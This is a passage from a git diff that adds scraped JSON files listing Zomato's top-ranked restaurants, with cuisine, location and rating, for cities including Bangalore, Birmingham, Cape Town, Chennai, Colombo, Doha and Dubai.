"3.5"}, {"cuisine": "American, Fast Food", "rank": "14", "location": "New Lynn, Auckland", "restaurant_name": "Denny&#039;s", "rating": "3.0"}, {"cuisine": "Cafe", "rank": "15", "location": "New Lynn, Auckland", "restaurant_name": "Cafe Brioche", "rating": "3.1"}, {"cuisine": "Korean, Pub", "rank": "16", "location": "Auckland CBD, Auckland", "restaurant_name": "Pocha", "rating": "3.1"}, {"cuisine": "European", "rank": "17", "location": "Albany, Auckland", "restaurant_name": "He&#039;s Kitchen", "rating": "3.2"}, {"cuisine": "Italian", "rank": "18", "location": "Birkenhead, Auckland", "restaurant_name": "Abruzzo", "rating": "3.4"}, {"cuisine": "Chinese", "rank": "19", "location": "Balmoral, Auckland", "restaurant_name": "Gogo Music Cafe", "rating": "3.1"}, {"cuisine": "Malaysian", "rank": "20", "location": "New Lynn, Auckland", "restaurant_name": "Bunga Raya", "rating": "3.2"}, {"cuisine": "Pub", "rank": "21", "location": "Newmarket, Auckland", "restaurant_name": "The Lumsden Freehouse", "rating": "3.5"}, {"cuisine": "Malaysian, Asian", "rank": "22", "location": "Newmarket, Auckland", "restaurant_name": "Selera", "rating": "3.4"}, {"cuisine": "Italian", "rank": "23", "location": "Parnell, Auckland", "restaurant_name": "La Porchetta", "rating": "3.3"}, {"cuisine": "European, American", "rank": "24", "location": "Kingsland, Auckland", "restaurant_name": "Citizen Park", "rating": "3.2"}, {"cuisine": "Sea Food, Fast Food", "rank": "25", "location": "Mission Bay, Auckland", "restaurant_name": "Fish Pot Cafe", "rating": "3.0"}]
diff --git a/pyscrapper/zomato_top_restaurants/output/bangalore.json b/pyscrapper/zomato_top_restaurants/output/bangalore.json
new file mode 100755
index 00000000..d1d8d7a9
--- /dev/null
+++ b/pyscrapper/zomato_top_restaurants/output/bangalore.json
@@ -0,0 +1 @@
+[{"cuisine": "Pub, Continental,   ", "rank": "1", "location": "Indiranagar, Bangalore", "restaurant_name": "Vapour", "rating": "3.6"}, {"cuisine": "European, Mediterranean,   ", "rank": "2", "location": "Marathahalli, Bangalore", "restaurant_name": "AB&#039;s - Absolute Barbecues", "rating": "4.0"}, {"cuisine": "North Indian, European,   ", "rank": "3", "location": "Indiranagar, Bangalore", "restaurant_name": "Barbeque Nation", "rating": "3.8"}, {"cuisine": "Cafe", "rank": "4", "location": "Koramangala, Bangalore", "restaurant_name": "Starbucks Coffee", "rating": "3.4"}, {"cuisine": "North Indian, Chinese", "rank": "5", "location": "MG Road, Bangalore", "restaurant_name": "Chutney Chang", "rating": "3.6"}, {"cuisine": "North Indian, Continental,   ", "rank": "6", "location": "Koramangala, Bangalore", "restaurant_name": "The Black Pearl", "rating": "3.5"}, {"cuisine": "Lounge, Continental,   ", "rank": "7", "location": "Indiranagar, Bangalore", "restaurant_name": "The Island", "rating": "3.4"}, {"cuisine": "Lounge, Mediterranean,   ", "rank": "8", "location": "Koramangala, Bangalore", "restaurant_name": "Fenny&#039;s Lounge And Kitchen", "rating": "3.6"}, {"cuisine": "Pub, Italian, American, Pizza", "rank": "9", "location": "Indiranagar, Bangalore", "restaurant_name": "Toit", "rating": "3.9"}, {"cuisine": "Lounge, Continental", "rank": "10", "location": "Lavelle Road, Bangalore", "restaurant_name": "Skyye", "rating": "3.7"}, {"cuisine": "North Indian, Continental,   ", "rank": "11", "location": "Indiranagar, Bangalore", "restaurant_name": "Loft 38", "rating": "3.1"}, {"cuisine": "Chettinad, Andhra, Kerala,   ", "rank": "12", "location": "Koramangala, Bangalore", "restaurant_name": "Bon South", "rating": "3.6"}, {"cuisine": "European, Fast Food, Desserts", "rank": "13", "location": "Indiranagar, Bangalore", "restaurant_name": "Smoke House Deli", "rating": "3.5"}, {"cuisine": "Pub, American", "rank": "14", "location": "MG Road, Bangalore", "restaurant_name": "Arbor Brewing Company", "rating": "3.7"}, {"cuisine": "Gujarati, Rajasthani,   ", "rank": "15", "location": "Jayanagar, Bangalore", "restaurant_name": "Village - Soul of India", "rating": "3.6"}, {"cuisine": "Pub, American", "rank": "16", "location": "MG Road, Bangalore", "restaurant_name": "Hard Rock Cafe", "rating": "3.9"}, {"cuisine": "Lounge, Continental, North   ", "rank": "17", "location": "Koramangala, Bangalore", "restaurant_name": "Barleyz - Sky Lounge", "rating": "3.2"}, {"cuisine": "Pub, Mediterranean,   ", "rank": "18", "location": "Indiranagar, Bangalore", "restaurant_name": "Hoppipola - All Day Bar &amp; Bonhomie", "rating": "3.5"}, {"cuisine": "Lounge", "rank": "19", "location": "MG Road, Bangalore", "restaurant_name": "The 13th Floor", "rating": "3.6"}, {"cuisine": "Cafe, Continental", "rank": "20", "location": "Mysore Road, Bangalore", "restaurant_name": "Rasta Cafe", "rating": "3.5"}, {"cuisine": "Pub, American,   ", "rank": "21", "location": "Koramangala, Bangalore", "restaurant_name": "Bak Bak Bar", "rating": "3.7"}, {"cuisine": "Pub, American, North Indian", "rank": "22", "location": "Whitefield, Bangalore", "restaurant_name": "Windmills Craftworks", "rating": "3.8"}, {"cuisine": "Pub, Continental, North   ", "rank": "23", "location": "Koramangala, Bangalore", "restaurant_name": "Prost Brew Pub", "rating": "3.5"}, {"cuisine": "North Indian", "rank": "24", "location": "Koramangala, Bangalore", "restaurant_name": "Punjabi by Nature", "rating": "3.6"}, {"cuisine": "North Indian", "rank": "25", "location": "Bellandur, Bangalore", "restaurant_name": "BAKASUR", "rating": "3.2"}]
diff --git a/pyscrapper/zomato_top_restaurants/output/birmingham.json b/pyscrapper/zomato_top_restaurants/output/birmingham.json
new file mode 100755
index 00000000..f7bf3722
--- /dev/null
+++ b/pyscrapper/zomato_top_restaurants/output/birmingham.json
@@ -0,0 +1 @@
+[{"cuisine": "Pub, Lounge, British, European", "rank": "1", "location": "City Centre, Birmingham", "restaurant_name": "The Jekyll And Hyde", "rating": "3.6"}, {"cuisine": "British, European", "rank": "2", "location": "Brindleyplace, Birmingham", "restaurant_name": "Edmunds", "rating": "3.5"}, {"cuisine": "British, Contemporary", "rank": "3", "location": "City Centre, Birmingham", "restaurant_name": "Loves Restaurant", "rating": "-"}, {"cuisine": "Italian, European", "rank": "4", "location": "Brindleyplace, Birmingham", "restaurant_name": "Carluccio&#039;s", "rating": "3.8"}, {"cuisine": "British", "rank": "5", "location": "Edgbaston, Birmingham", "restaurant_name": "Simpsons Restaurants", "rating": "3.7"}, {"cuisine": "Contemporary", "rank": "6", "location": "Colmore Business District, Birmingham", "restaurant_name": "Purnell&#039;s", "rating": "4.2"}, {"cuisine": "French", "rank": "7", "location": "Highgate, Birmingham", "restaurant_name": "Le Truc", "rating": "3.7"}, {"cuisine": "British, Cafe", "rank": "8", "location": "Digbeth, Birmingham", "restaurant_name": "The Warehouse Cafe", "rating": "3.2"}, {"cuisine": "Indian", "rank": "9", "location": "Jewellery Quarter, Birmingham", "restaurant_name": "Lasan Restaurant", "rating": "3.7"}, {"cuisine": "European", "rank": "10", "location": "Harborne, Birmingham", "restaurant_name": "Turners", "rating": "4.2"}, {"cuisine": "Argentinian", "rank": "11", "location": "Edgbaston, Birmingham", "restaurant_name": "Fiesta del Asado", "rating": "4.6"}, {"cuisine": "Pakistani, Indian", "rank": "12", "location": "Sparkhill, Birmingham", "restaurant_name": "Mughal E Azam", "rating": "3.6"}, {"cuisine": "Pub", "rank": "13", "location": "Harborne, Birmingham", "restaurant_name": "The Huntsman", "rating": "3.4"}, {"cuisine": "British, Pub", "rank": "14", "location": "Jewellery Quarter, Birmingham", "restaurant_name": "The Queens Arms", "rating": "3.0"}, {"cuisine": "Cafe", "rank": "15", "location": "Colmore Business District, Birmingham", "restaurant_name": "York&#039;s Bakery Cafe", "rating": "-"}, {"cuisine": "American, Thai", "rank": "16", "location": "Broad Street, Birmingham", "restaurant_name": "Tiger Bills", "rating": "3.2"}, {"cuisine": "Cafe", "rank": "17", "location": "Harborne, Birmingham", "restaurant_name": "Urban Coffee Company", "rating": "3.1"}, {"cuisine": "Cafe, British", "rank": "18", "location": "Highgate, Birmingham", "restaurant_name": "The Green Room Cafe &amp; Bar", "rating": "3.9"}, {"cuisine": "Brazilian, Steakhouse", "rank": "19", "location": "City Centre, Birmingham", "restaurant_name": "Rodizio Rico", "rating": "-"}, {"cuisine": "British", "rank": "20", "location": "Moseley, Birmingham", "restaurant_name": "Carters Of Moseley", "rating": "3.5"}, {"cuisine": "Indian", "rank": "21", "location": "Brindleyplace, Birmingham", "restaurant_name": "Pushkar", "rating": "4.0"}, {"cuisine": "Thai", "rank": "22", "location": "Brindleyplace, Birmingham", "restaurant_name": "Thai Edge", "rating": "3.4"}, {"cuisine": "Balti, Indian", "rank": "23", "location": "Moseley, Birmingham", "restaurant_name": "Deolali", "rating": "3.8"}, {"cuisine": "Cafe", "rank": "24", "location": "Edgbaston, Birmingham", "restaurant_name": "Philpotts", "rating": "3.1"}, {"cuisine": "Polish", "rank": "25", "location": "Digbeth, Birmingham", "restaurant_name": "The Karczma", "rating": "3.4"}]
diff --git a/pyscrapper/zomato_top_restaurants/output/brasilia.json b/pyscrapper/zomato_top_restaurants/output/brasilia.json
new file mode 100755
index 00000000..15b7d524
--- /dev/null
+++ b/pyscrapper/zomato_top_restaurants/output/brasilia.json
@@ -0,0 +1 @@
+[{"cuisine": "Brasileira", "rank": "1", "location": "Lago Sul, Brasilia", "restaurant_name": "Ares do Brasil", "rating": "3.6"}, {"cuisine": "Churrascaria, Grill", "rank": "2", "location": "Setor De Clubes Esportivos Sul, Brasilia", "restaurant_name": "Baby Beef Rubaiyat", "rating": "3.5"}, {"cuisine": "Naturais Saud  vel", "rank": "3", "location": "Asa Sul, Brasilia", "restaurant_name": "Babel", "rating": "3.4"}]
diff --git a/pyscrapper/zomato_top_restaurants/output/capetown.json b/pyscrapper/zomato_top_restaurants/output/capetown.json
new file mode 100755
index 00000000..af5688b0
--- /dev/null
+++ b/pyscrapper/zomato_top_restaurants/output/capetown.json
@@ -0,0 +1 @@
+[{"cuisine": "Bakery", "rank": "1", "location": "CBD, Cape Town", "restaurant_name": "Charly&#039;s Bakery", "rating": "3.2"}, {"cuisine": "Fast Food", "rank": "2", "location": "Foreshore, Cape Town", "restaurant_name": "Burger King", "rating": "3.4"}, {"cuisine": "Mediterranean", "rank": "3", "location": "V &amp; A Waterfront, Cape Town", "restaurant_name": "Madame Zingara", "rating": "4.4"}, {"cuisine": "Pizza, Sea Food, Grill House", "rank": "4", "location": "V &amp; A Waterfront, Cape Town", "restaurant_name": "Shimmy Beach Club", "rating": "3.1"}, {"cuisine": "Cafe", "rank": "5", "location": "Woodstock, Cape Town", "restaurant_name": "The District Cafe", "rating": "3.5"}, {"cuisine": "Sea Food", "rank": "6", "location": "V &amp; A Waterfront, Cape Town", "restaurant_name": "Willoughby &amp; Co.", "rating": "3.8"}, {"cuisine": "Continental, American, African", "rank": "7", "location": "Simon&#039;s Town, Cape Town", "restaurant_name": "Boulders Beach Restaurant", "rating": "3.1"}, {"cuisine": "Japanese, Chinese", "rank": "8", "location": "Observatory, Cape Town", "restaurant_name": "Blue Marlin Asian Cuisine", "rating": "3.2"}, {"cuisine": "Sea Food, Mediterranean,   ", "rank": "9", "location": "Camps Bay, Cape Town", "restaurant_name": "The Bungalow", "rating": "3.5"}, {"cuisine": "Italian, American, Chinese,   ", "rank": "10", "location": "Tokai, Cape Town", "restaurant_name": "Food Lovers Market", "rating": "3.3"}, {"cuisine": "Fast Food, Pizza", "rank": "11", "location": "Lakeside, Cape Town", "restaurant_name": "Bella Pizza", "rating": "3.1"}, {"cuisine": "Japanese, Asian", "rank": "12", "location": "CBD, Cape Town", "restaurant_name": "Nuri Sushi Factory", "rating": "3.3"}, {"cuisine": "Grill House", "rank": "13", "location": "Belgravia, Cape Town", "restaurant_name": "Wembley Road House", "rating": "3.0"}, {"cuisine": "Indian, Chinese, Lebanese", "rank": "14", "location": "Rondebosch, Cape Town", "restaurant_name": "Food Inn India", "rating": "3.1"}, {"cuisine": "Thai, Sea Food", "rank": "15", "location": "Camps Bay, Cape Town", "restaurant_name": "Phuket Restaurant", "rating": "3.2"}, {"cuisine": "Fast Food, Steakhouse", "rank": "16", "location": "CBD, Cape Town", "restaurant_name": "Mariam&#039;s Kitchen", "rating": "3.1"}, {"cuisine": "American, Asian", "rank": "17", "location": "Sea Point, Cape Town", "restaurant_name": "Avron&#039;s Place", "rating": "3.1"}, {"cuisine": "Pizza", "rank": "18", "location": "Sea Point, Cape Town", "restaurant_name": "Call A Pizza", "rating": "3.3"}, {"cuisine": "African, Sea Food", "rank": "19", "location": "CBD, Cape Town", "restaurant_name": "Kaprinos", "rating": "2.9"}, {"cuisine": "Pizza, Fast Food", "rank": "20", "location": "Kenilworth, Cape Town", "restaurant_name": "Bin Rashied Pizza &amp; Grill", "rating": "3.1"}, {"cuisine": "Lounge", "rank": "21", "location": "Green Point, Cape Town", "restaurant_name": "Jade Lounge", "rating": "3.0"}, {"cuisine": "Cuban", "rank": "22", "location": "Kalk Bay, Cape Town", "restaurant_name": "Cape To Cuba", "rating": "3.1"}, {"cuisine": "Fast Food", "rank": "23", "location": "Plumstead, Cape Town", "restaurant_name": "Hungry Lion", "rating": "3.3"}, {"cuisine": "Pizza", "rank": "24", "location": "Green Point, Cape Town", "restaurant_name": "Big Route", "rating": "3.5"}, {"cuisine": "Fast Food", "rank": "25", "location": "CBD, Cape Town", "restaurant_name": "Chicken Licken", "rating": "3.1"}]
diff --git a/pyscrapper/zomato_top_restaurants/output/chandigarh.json b/pyscrapper/zomato_top_restaurants/output/chandigarh.json
new file mode 100755
index 00000000..8be73253
--- /dev/null
+++ b/pyscrapper/zomato_top_restaurants/output/chandigarh.json
@@ -0,0 +1 @@
+[{"cuisine": "North Indian, Chinese", "rank": "1", "location": "Sector 26, Chandigarh", "restaurant_name": "Barbeque Nation", "rating": "4.0"}, {"cuisine": "Italian, Chinese, North Indian", "rank": "2", "location": "Sector 26, Chandigarh", "restaurant_name": "Kava", "rating": "3.5"}, {"cuisine": "North Indian, Continental,   ", "rank": "3", "location": "Chandigarh Industrial Area, Chandigarh", "restaurant_name": "Pirates of Grill", "rating": "3.8"}, {"cuisine": "American, European,   ", "rank": "4", "location": "Chandigarh Industrial Area, Chandigarh", "restaurant_name": "Underdoggs Sports Bar &amp; Grill", "rating": "3.6"}, {"cuisine": "Asian, North Indian", "rank": "5", "location": "Sector 26, Chandigarh", "restaurant_name": "Tao - Bar &amp; Lounge", "rating": "3.6"}, {"cuisine": "Cafe, Lounge", "rank": "6", "location": "Sector 17, Chandigarh", "restaurant_name": "Girl In The Cafe", "rating": "3.5"}, {"cuisine": "North Indian, South Indian,   ", "rank": "7", "location": "Chandigarh Industrial Area, Chandigarh", "restaurant_name": "Gourmet Nine", "rating": "4.1"}, {"cuisine": "European, North Indian,   ", "rank": "8", "location": "Sector 26, Chandigarh", "restaurant_name": "The Blue Blazer", "rating": "3.7"}, {"cuisine": "North Indian, Chinese,   ", "rank": "9", "location": "Sector 8, Chandigarh", "restaurant_name": "Score", "rating": "3.0"}, {"cuisine": "Mughlai, Chinese", "rank": "10", "location": "Sector 9, Chandigarh", "restaurant_name": "Buffet Hut", "rating": "3.4"}, {"cuisine": "Thai, Continental, North   ", "rank": "11", "location": "Sector 35, Chandigarh", "restaurant_name": "The Cafe - JW Marriott", "rating": "3.6"}, {"cuisine": "Pub, North Indian", "rank": "12", "location": "Sector 35, Chandigarh", "restaurant_name": "Peddlers", "rating": "3.6"}, {"cuisine": "North Indian, Continental,   ", "rank": "13", "location": "Sector 17, Chandigarh", "restaurant_name": "Blue Ice", "rating": "3.4"}, {"cuisine": "Lounge, Chinese,   ", "rank": "14", "location": "Sector 17, Chandigarh", "restaurant_name": "BUZZ", "rating": "3.7"}, {"cuisine": "North Indian, Italian,   ", "rank": "15", "location": "Sector 9, Panchkula", "restaurant_name": "Hops n Grains", "rating": "4.1"}, {"cuisine": "Chinese", "rank": "16", "location": "Sector 26, Chandigarh", "restaurant_name": "Mainland China", "rating": "3.8"}, {"cuisine": "Lebanese, Mediterranean", "rank": "17", "location": "Sector 9, Chandigarh", "restaurant_name": "Jaffa - Authentic Lebanese Food", "rating": "3.9"}, {"cuisine": "Italian", "rank": "18", "location": "Sector 7, Chandigarh", "restaurant_name": "Virgin Courtyard", "rating": "4.0"}, {"cuisine": "Indian, Asian, European", "rank": "19", "location": "Sector 26, Chandigarh", "restaurant_name": "Whistling Duck", "rating": "3.4"}, {"cuisine": "Pizza", "rank": "20", "location": "Sector 26, Chandigarh", "restaurant_name": "Sam&#039;s Pizza", "rating": "3.5"}, {"cuisine": "North Indian, Chinese,   ", "rank": "21", "location": "Chandigarh Industrial Area, Chandigarh", "restaurant_name": "bluO", "rating": "3.3"}, {"cuisine": "Rajasthani", "rank": "22", "location": "Sector 2, Panchkula", "restaurant_name": "Chokhi Dhani", "rating": "3.1"}, {"cuisine": "Chinese", "rank": "23", "location": "Sector 9, Chandigarh", "restaurant_name": "Yo! China", "rating": "3.5"}, {"cuisine": "North Indian", "rank": "24", "location": "Sector 28, Chandigarh", "restaurant_name": "Pal Dhaba", "rating": "3.5"}, {"cuisine": "Bakery, Cafe, Italian", "rank": "25", "location": "Sector 35, Chandigarh", "restaurant_name": "Nik Baker&#039;s", "rating": "3.6"}]
diff --git a/pyscrapper/zomato_top_restaurants/output/chennai.json b/pyscrapper/zomato_top_restaurants/output/chennai.json
new file mode 100755
index 00000000..28ec1313
--- /dev/null
+++ b/pyscrapper/zomato_top_restaurants/output/chennai.json
@@ -0,0 +1 @@
+[{"cuisine": "North Indian, Continental", "rank": "1", "location": "T. Nagar, Chennai", "restaurant_name": "Barbeque Nation", "rating": "3.9"}, {"cuisine": "Mediterranean, Spanish,   ", "rank": "2", "location": "Old Mahabalipuram Road (OMR), Chennai", "restaurant_name": "Sigree Global Grill", "rating": "3.3"}, {"cuisine": "North Indian, Chinese,   ", "rank": "3", "location": "Adyar, Chennai", "restaurant_name": "Animal Kingdom", "rating": "3.8"}, {"cuisine": "Rajasthani, South Indian", "rank": "4", "location": "Poonamalle, Chennai", "restaurant_name": "Chokhi Dhani", "rating": "3.8"}, {"cuisine": "Pub, Lounge, North Indian,   ", "rank": "5", "location": "Mylapore, Chennai", "restaurant_name": "Illusions - The Madras Pub", "rating": "3.7"}, {"cuisine": "North Indian", "rank": "6", "location": "Nungambakkam, Chennai", "restaurant_name": "Sigree", "rating": "3.6"}, {"cuisine": "Lounge, North Indian, Chinese", "rank": "7", "location": "Alwarpet, Chennai", "restaurant_name": "Dublin - Sheraton Park", "rating": "3.4"}, {"cuisine": "North Indian, Chinese,   ", "rank": "8", "location": "Guindy, Chennai", "restaurant_name": "Madras Pavilion - ITC Grand Chola", "rating": "3.9"}, {"cuisine": "Pub, North Indian, Chinese,   ", "rank": "9", "location": "T. Nagar, Chennai", "restaurant_name": "10 Downing Street", "rating": "3.5"}, {"cuisine": "North Indian, Mughlai", "rank": "10", "location": "T. Nagar, Chennai", "restaurant_name": "Barbeque Factory", "rating": "3.6"}, {"cuisine": "Chinese", "rank": "11", "location": "T. Nagar, Chennai", "restaurant_name": "Mainland China", "rating": "3.6"}, {"cuisine": "European, Italian", "rank": "12", "location": "Adyar, Chennai", "restaurant_name": "That Madras Place", "rating": "3.6"}, {"cuisine": "Pizza", "rank": "13", "location": "Nungambakkam, Chennai", "restaurant_name": "Sam&#039;s Pizza", "rating": "3.8"}, {"cuisine": "Italian, Mediterranean,   ", "rank": "14", "location": "Adyar, Chennai", "restaurant_name": "Azzuri Bay", "rating": "3.7"}, {"cuisine": "Cafe, Thai, Continental,   ", "rank": "15", "location": "East Coast Road (ECR), Chennai", "restaurant_name": "Kipling Cafe", "rating": "3.6"}, {"cuisine": "North Indian, Chinese", "rank": "16", "location": "Velachery, Chennai", "restaurant_name": "Pind", "rating": "3.7"}, {"cuisine": "South Indian, North Indian,   ", "rank": "17", "location": "Nungambakkam, Chennai", "restaurant_name": "Krishnavillasam - The Home Of Classics", "rating": "3.5"}, {"cuisine": "North Indian, Arabian,   ", "rank": "18", "location": "Adyar, Chennai", "restaurant_name": "Zaitoon", "rating": "3.5"}, {"cuisine": "Arabian, Chinese, North Indian", "rank": "19", "location": "Anna Nagar East, Chennai", "restaurant_name": "Savoury Sea Shell", "rating": "3.7"}, {"cuisine": "Lounge, Chinese,   ", "rank": "20", "location": "East Coast Road (ECR), Chennai", "restaurant_name": "Drizzle", "rating": "3.1"}, {"cuisine": "North Indian, Chinese,   ", "rank": "21", "location": "Velachery, Chennai", "restaurant_name": "The Flying Elephant - Park Hyatt", "rating": "3.4"}, {"cuisine": "South Indian", "rank": "22", "location": "T. Nagar, Chennai", "restaurant_name": "Hotel Junior Kuppanna", "rating": "3.8"}, {"cuisine": "Lounge", "rank": "23", "location": "Nungambakkam, Chennai", "restaurant_name": "Pasha - The Park", "rating": "3.4"}, {"cuisine": "North Indian, Continental", "rank": "24", "location": "Adyar, Chennai", "restaurant_name": "Crimson Chakra", "rating": "3.5"}, {"cuisine": "Portuguese", "rank": "25", "location": "Velachery, Chennai", "restaurant_name": "Nando&#039;s", "rating": "3.8"}]
diff --git a/pyscrapper/zomato_top_restaurants/output/colombo.json b/pyscrapper/zomato_top_restaurants/output/colombo.json
new file mode 100755
index 00000000..d92cfb01
--- /dev/null
+++ b/pyscrapper/zomato_top_restaurants/output/colombo.json
@@ -0,0 +1 @@
+[{"cuisine": "Fast Food", "rank": "1", "location": "Slave Island, Colombo", "restaurant_name": "Burger&#039;s King", "rating": "3.1"}, {"cuisine": "Indian, Arabian, Chinese", "rank": "2", "location": "Bambalapitiya, Colombo", "restaurant_name": "Elite Indian Restaurant", "rating": "3.3"}, {"cuisine": "Sri Lankan", "rank": "3", "location": "Slave Island, Colombo", "restaurant_name": "Dine More", "rating": "3.1"}, {"cuisine": "Chinese", "rank": "4", "location": "Bambalapitiya, Colombo", "restaurant_name": "Chinese Dragon Cafe", "rating": "3.1"}, {"cuisine": "Chinese, Thai", "rank": "5", "location": "Kollupitiya, Colombo", "restaurant_name": "Great Wall Restaurant", "rating": "3.2"}, {"cuisine": "Cafe", "rank": "6", "location": "Kollupitiya, Colombo", "restaurant_name": "Queen&#039;s Cafe", "rating": "3.0"}, {"cuisine": "Sea Food", "rank": "7", "location": "Kollupitiya, Colombo", "restaurant_name": "The Lagoon - Cinnamon Grand", "rating": "3.5"}, {"cuisine": "Chinese, Fast Food, North   ", "rank": "8", "location": "Wellawatta, Colombo", "restaurant_name": "Al Maas", "rating": "3.0"}, {"cuisine": "Sea Food", "rank": "9", "location": "Fort, Colombo", "restaurant_name": "Ministry of Crab", "rating": "3.7"}, {"cuisine": "Sea Food", "rank": "10", "location": "Kollupitiya, Colombo", "restaurant_name": "The Manhattan Fish Market", "rating": "3.2"}, {"cuisine": "International", "rank": "11", "location": "Kollupitiya, Colombo", "restaurant_name": "The Gallery Cafe", "rating": "4.0"}, {"cuisine": "Steakhouse, American,   ", "rank": "12", "location": "Kollupitiya, Colombo", "restaurant_name": "The Sizzle", "rating": "3.6"}, {"cuisine": "Chinese", "rank": "13", "location": "Cinnamon Gardens, Colombo", "restaurant_name": "Peach Valley", "rating": "3.1"}, {"cuisine": "Bakery, Cafe", "rank": "14", "location": "Kollupitiya, Colombo", "restaurant_name": "The Fab", "rating": "3.3"}, {"cuisine": "Malaysian, Indian", "rank": "15", "location": "Dehiwala Mt Lavinia, Colombo", "restaurant_name": "Malay Restaurant", "rating": "3.0"}, {"cuisine": "Indian, Asian", "rank": "16", "location": "Havelock Town, Colombo", "restaurant_name": "Machan Nawala", "rating": "3.1"}, {"cuisine": "Chinese, Thai, Italian", "rank": "17", "location": "Kollupitiya, Colombo", "restaurant_name": "China Town", "rating": "3.1"}, {"cuisine": "Sri Lankan", "rank": "18", "location": "Kollupitiya, Colombo", "restaurant_name": "Green Cabin Restaurant", "rating": "3.4"}, {"cuisine": "Chinese", "rank": "19", "location": "Havelock Town, Colombo", "restaurant_name": "Chopsticks", "rating": "3.3"}, {"cuisine": "International", "rank": "20", "location": "Fort, Colombo", "restaurant_name": "Light House Galley", "rating": "3.5"}, {"cuisine": "Thai", "rank": "21", "location": "Slave Island, Colombo", "restaurant_name": "Royal Thai - Cinnamon Lakeside", "rating": "3.8"}, {"cuisine": "Lounge", "rank": "22", "location": "Bambalapitiya, Colombo", "restaurant_name": "Qbaa", "rating": "3.3"}, {"cuisine": "Sri Lankan", "rank": "23", "location": "Cinnamon Gardens, Colombo", "restaurant_name": "Cafe On The 5th", "rating": "3.3"}, {"cuisine": "International", "rank": "24", "location": "Slave Island, Colombo", "restaurant_name": "The Dining Room - Cinnamon Lakeside", "rating": "3.5"}, {"cuisine": "Chinese", "rank": "25", "location": "Havelock Town, Colombo", "restaurant_name": "Kinjou", "rating": "3.4"}]
diff --git a/pyscrapper/zomato_top_restaurants/output/doha.json b/pyscrapper/zomato_top_restaurants/output/doha.json
new file mode 100755
index 00000000..ffcb3c6e
--- /dev/null
+++ b/pyscrapper/zomato_top_restaurants/output/doha.json
@@ -0,0 +1 @@
+[{"cuisine": "Pizza, Fast Food", "rank": "1", "location": "Bin Omran, Doha", "restaurant_name": "Papa John&#039;s", "rating": "3.3"}, {"cuisine": "Indian, Chinese", "rank": "2", "location": "Salwa Road, Doha", "restaurant_name": "Deccan Deewan", "rating": "3.5"}, {"cuisine": "Chinese", "rank": "3", "location": "Salwa Road, Doha", "restaurant_name": "Chow King", "rating": "3.2"}, {"cuisine": "African, Portuguese", "rank": "4", "location": "Dafna, Doha", "restaurant_name": "Nando&#039;s", "rating": "3.4"}, {"cuisine": "Indian, Bakery, Kerala,   ", "rank": "5", "location": "Al Ghanim, Doha", "restaurant_name": "MRA Bakery N Restaurant", "rating": "3.3"}, {"cuisine": "Fast Food", "rank": "6", "location": "Al Sadd, Doha", "restaurant_name": "Burger King", "rating": "3.1"}, {"cuisine": "Fast Food", "rank": "7", "location": "Muaither, Doha", "restaurant_name": "Hardee&#039;s", "rating": "3.4"}, {"cuisine": "Chinese, Indian, Thai,   ", "rank": "8", "location": "Ramada Junction, Doha", "restaurant_name": "Caravan", "rating": "3.1"}, {"cuisine": "Sea Food, Steakhouse, American", "rank": "9", "location": "Bin Mahmoud, Doha", "restaurant_name": "Red Lobster", "rating": "3.4"}, {"cuisine": "Fast Food", "rank": "10", "location": "Ramada Junction, Doha", "restaurant_name": "Popeye", "rating": "3.2"}, {"cuisine": "Arabian, Middle Eastern,   ", "rank": "11", "location": "Salwa Road, Doha", "restaurant_name": "The Village", "rating": "3.6"}, {"cuisine": "Indian", "rank": "12", "location": "Musheireb, Doha", "restaurant_name": "Anjappar", "rating": "3.0"}, {"cuisine": "Thai", "rank": "13", "location": "Salwa Road, Doha", "restaurant_name": "Thai Corner", "rating": "3.5"}, {"cuisine": "Filipino", "rank": "14", "location": "Al Nasser, Doha", "restaurant_name": "Amwaj", "rating": "3.0"}, {"cuisine": "Indian, Chinese", "rank": "15", "location": "Old Airport Area, Doha", "restaurant_name": "Asiana", "rating": "3.2"}, {"cuisine": "Chinese", "rank": "16", "location": "Najma, Doha", "restaurant_name": "Oriental Kitchen", "rating": "3.7"}, {"cuisine": "Thai", "rank": "17", "location": "Umm Ghuwailina, Doha", "restaurant_name": "Thai Smile", "rating": "3.0"}, {"cuisine": "Arabian, Fast Food", "rank": "18", "location": "Al Sadd, Doha", "restaurant_name": "Take Away", "rating": "3.2"}, {"cuisine": "American, Mexican", "rank": "19", "location": "Dafna, Doha", "restaurant_name": "Applebee&#039;s", "rating": "3.4"}, {"cuisine": "Italian", "rank": "20", "location": "Al Sadd, Doha", "restaurant_name": "Lo Spaghetto", "rating": "3.6"}, {"cuisine": "Cafe", "rank": "21", "location": "Old Airport Area, Doha", "restaurant_name": "Doha Rocks!", "rating": "3.2"}, {"cuisine": "Indian", "rank": "22", "location": "Muntazah, Doha", "restaurant_name": "Aalishan", "rating": "3.3"}, {"cuisine": "American", "rank": "23", "location": "Salwa Road, Doha", "restaurant_name": "Johnny Rockets", "rating": "3.5"}, {"cuisine": "Italian", "rank": "24", "location": "Pearl Qatar, Doha", "restaurant_name": "Carluccio&#039;s", "rating": "3.6"}, {"cuisine": "Indian", "rank": "25", "location": "Old Airport Area, Doha", "restaurant_name": "Tandoor", "rating": "3.6"}]
diff --git a/pyscrapper/zomato_top_restaurants/output/dubai.json b/pyscrapper/zomato_top_restaurants/output/dubai.json
new file mode 100755
index 00000000..326adc47
--- /dev/null
+++ b/pyscrapper/zomato_top_restaurants/output/dubai.json
@@ -0,0 +1 @@
+[{"cuisine": "Portuguese, African", "rank": "1", "location": "Dubai Marina, Dubai", "restaurant_name": "Nando&#039;s", "rating": "3.2"}, {"cuisine": "American, Desserts", "rank": "2", "location": "Dubai Mall, Dubai", "restaurant_name": "The Cheesecake Factory", "rating": "3.6"}, {"cuisine": "Chinese, Japanese, Thai", "rank": "3", "location": "Dubai Mall, Dubai", "restaurant_name": "P.F.Chang&#039;s", "rating": "3.5"}, {"cuisine": "Contemporary, Lounge,   ", "rank": "4", "location": "Burj Khalifa Area, Dubai", "restaurant_name": "At.Mosphere", "rating": "3.8"}, {"cuisine": "French, Mediterranean, Bakery", "rank": "5", "location": "Burj Khalifa Area, Dubai", "restaurant_name": "La Serre Bistro &amp; Boulangerie - Vid...", "rating": "3.0"}, {"cuisine": "Filipino", "rank": "6", "location": "Al Karama, Dubai", "restaurant_name": "Max&#039;s Restaurant", "rating": "3.1"}, {"cuisine": "American, Italian, Mexican", "rank": "7", "location": "Dubai Marina, Dubai", "restaurant_name": "TGI Fridays", "rating": "3.5"}, {"cuisine": "Sea Food, Filipino", "rank": "8", "location": "Al Rigga, Dubai", "restaurant_name": "Salt N Pepper", "rating": "3.3"}, {"cuisine": 